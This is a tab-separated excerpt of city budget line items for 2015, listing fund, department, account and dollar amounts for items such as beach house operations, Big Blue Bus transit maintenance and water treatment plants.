16745	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	608.0	Licenses and Permits	2015	-40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40000.0
16746	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	608.0	Licenses and Permits	2015	-15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15000.0
16747	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2015	-52000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-52000.0
16748	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2015	-84000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-84000.0
16749	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2015	10216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10216.0
16750	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
16751	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2015	5667.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5667.0
16752	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402240.0	AIRPORT - EVENTS	650.0	Charges for Service	2015	-64134.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-64134.0
16753	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2015	-148968.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-148968.0
16754	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	3542.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3542.0
16755	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	440.0	0	0	0	0	0	0.0	0	0	0	0	0.0	440.0
16756	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2015	466648.0	0	0	0	0	0	0.0	0	0	0	0	0.0	466648.0
16757	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400613.0	NEWSRACK PERMITS	612.0	Charges for Service	2015	-20500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20500.0
16758	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	6287.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6287.0
16759	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	10480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10480.0
16760	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511970.0	OTHER FRINGE BENEFITS		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16761	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	3102.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3102.0
16762	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404690.0	415 PCH - PARKING	612.0	Charges for Service	2015	-460000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-460000.0
16763	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	42451.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42451.0
16764	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2015	40005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40005.0
16765	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16766	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS		 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
16767	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2015	-120000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-120000.0
16768	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-MEASURE V FUND	908.0	 Supplies and Expenses	2015	-411308.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-411308.0
16769	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-STORMWATER	910.0	 Supplies and Expenses	2015	411308.0	0	0	0	0	0	0.0	0	0	0	0	0.0	411308.0
16770	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16771	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	450.0
16772	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16773	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2015	43601.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43601.0
16774	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	2950.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2950.0
16775	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16776	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2015	4880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4880.0
16777	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	153363.0	0	0	0	0	0	0.0	0	0	0	0	0.0	153363.0
16778	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	11203.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11203.0
16779	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	33238.0	0	0	0	0	0	0.0	0	0	0	0	0.0	33238.0
16780	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-CITY TV	808.0	 Supplies and Expenses	2015	10173.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10173.0
16781	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	3100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3100.0
16782	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	26200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26200.0
16783	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533227.0	BLDG/STR MAINT-PARK BLDG	808.0	 Supplies and Expenses	2015	185000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185000.0
16784	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
16785	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511250.0	STANDBY PAY	808.0	Salaries and Wages	2015	23889.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23889.0
16786	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2015	16279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16279.0
16787	BA	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8000.0
16788	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING-TRANS OUT TO 01 FD	910.0	 Supplies and Expenses	2015	236472.0	0	0	0	0	0	0.0	0	0	0	0	0.0	236472.0
16789	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16790	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408440.0	AMERICARE RINGDOWN	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16791	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2015	-8300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8300.0
16792	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2015	-690750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-690750.0
16793	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2015	-500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-500.0
16794	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	709212.0	0	0	0	0	0	0.0	0	0	0	0	0.0	709212.0
16795	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	162893.0	0	0	0	0	0	0.0	0	0	0	0	0.0	162893.0
16796	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DCAP	804.0	Salaries and Wages	2015	712.0	0	0	0	0	0	0.0	0	0	0	0	0.0	712.0
16797	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16798	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16799	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	562300.0	SMC-PICO PARTNERSHIP	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16800	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511700.0	TRANS FROM OTHER FUNDS	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16801	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	12046.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12046.0
16802	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2015	72737.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72737.0
16803	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	22660.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22660.0
16804	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DCAP	804.0	Salaries and Wages	2015	926.0	0	0	0	0	0	0.0	0	0	0	0	0.0	926.0
16805	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555015.0	OUTSIDE REPAIRS - BLDG MAINT		 Supplies and Expenses	2015	247201.0	0	0	0	0	0	0.0	0	0	0	0	0.0	247201.0
16806	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577351.0	HOME VOUCHERS	816.0	 Supplies and Expenses	2015	471792.0	0	0	0	0	0	0.0	0	0	0	0	0.0	471792.0
16807	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401950.0	BLANKET UTILITY PERMITS	612.0	Charges for Service	2015	-54000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-54000.0
16808	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2015	-13850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13850.0
16809	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	6108.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6108.0
16810	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	566260.0	SPECIAL EVENTS	810.0	 Supplies and Expenses	2015	33000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	33000.0
16811	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511490.0	OVERTIME	810.0	Salaries and Wages	2015	39688.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39688.0
16812	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-11849.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11849.0
16813	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
16814	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
16815	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	217626.0	0	0	0	0	0	0.0	0	0	0	0	0.0	217626.0
16816	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	820.0	Salaries and Wages	2015	7800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7800.0
16817	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2015	5006.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5006.0
16818	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2015	3902.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3902.0
16819	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2015	10071.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10071.0
16820	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533213.0	FAC MAINT-PREVENTATIVE MAINT	810.0	 Supplies and Expenses	2015	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
16821	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533214.0	FAC MAINT-REPAIRS-HIST SAVINGS	810.0	 Supplies and Expenses	2015	126000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	126000.0
16822	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2015	1527.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1527.0
16823	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577500.0	TRANSFERS FROM / TO FUND	810.0	 Supplies and Expenses	2015	120153.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120153.0
16824	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16825	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	29.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29.0
16826	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	581.0
16827	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511749.0	VISION	808.0	Salaries and Wages	2015	1442.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1442.0
16828	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2015	9719.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9719.0
16829	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	5603.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5603.0
16830	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2015	51396.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51396.0
16831	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
16832	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545030.0	CULTURAL SUPPLIES	810.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
16833	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	186000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	186000.0
16834	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	583005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	583005.0
16835	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2015	52752.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52752.0
16836	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16837	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-134361.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-134361.0
16838	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2015	209007.0	0	0	0	0	0	0.0	0	0	0	0	0.0	209007.0
16839	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2015	3850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3850.0
16840	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2015	15400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15400.0
16841	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2015	1750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1750.0
16842	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403660.0	LIBRARY NON-RESIDENT FEE	612.0	Charges for Service	2015	-139000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-139000.0
16843	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16844	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16845	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2015	96064.0	0	0	0	0	0	0.0	0	0	0	0	0.0	96064.0
16846	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	62769.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62769.0
16847	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	6486.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6486.0
16848	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	144471.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144471.0
16849	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	191703.0	0	0	0	0	0	0.0	0	0	0	0	0.0	191703.0
16850	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2015	434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	434.0
16851	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	38359.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38359.0
16852	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-5682.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5682.0
16853	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	3251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3251.0
16854	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	124603.0	0	0	0	0	0	0.0	0	0	0	0	0.0	124603.0
16855	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	334905.0	0	0	0	0	0	0.0	0	0	0	0	0.0	334905.0
16856	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2015	12579.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12579.0
16857	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-6155.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6155.0
16858	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		WELLNESS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16859	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544112.0	SIGNAGE		 Supplies and Expenses	2015	21500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21500.0
16860	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555016.0	OUTSIDE REPAIRS-HZRDOUS WASTE		 Supplies and Expenses	2015	83050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	83050.0
16861	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	404150.0	LIBRARY COMPUTER SESSIONS FEE	612.0	Charges for Service	2015	-23900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23900.0
16862	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2015	-148400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-148400.0
16863	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2015	85000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85000.0
16864	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
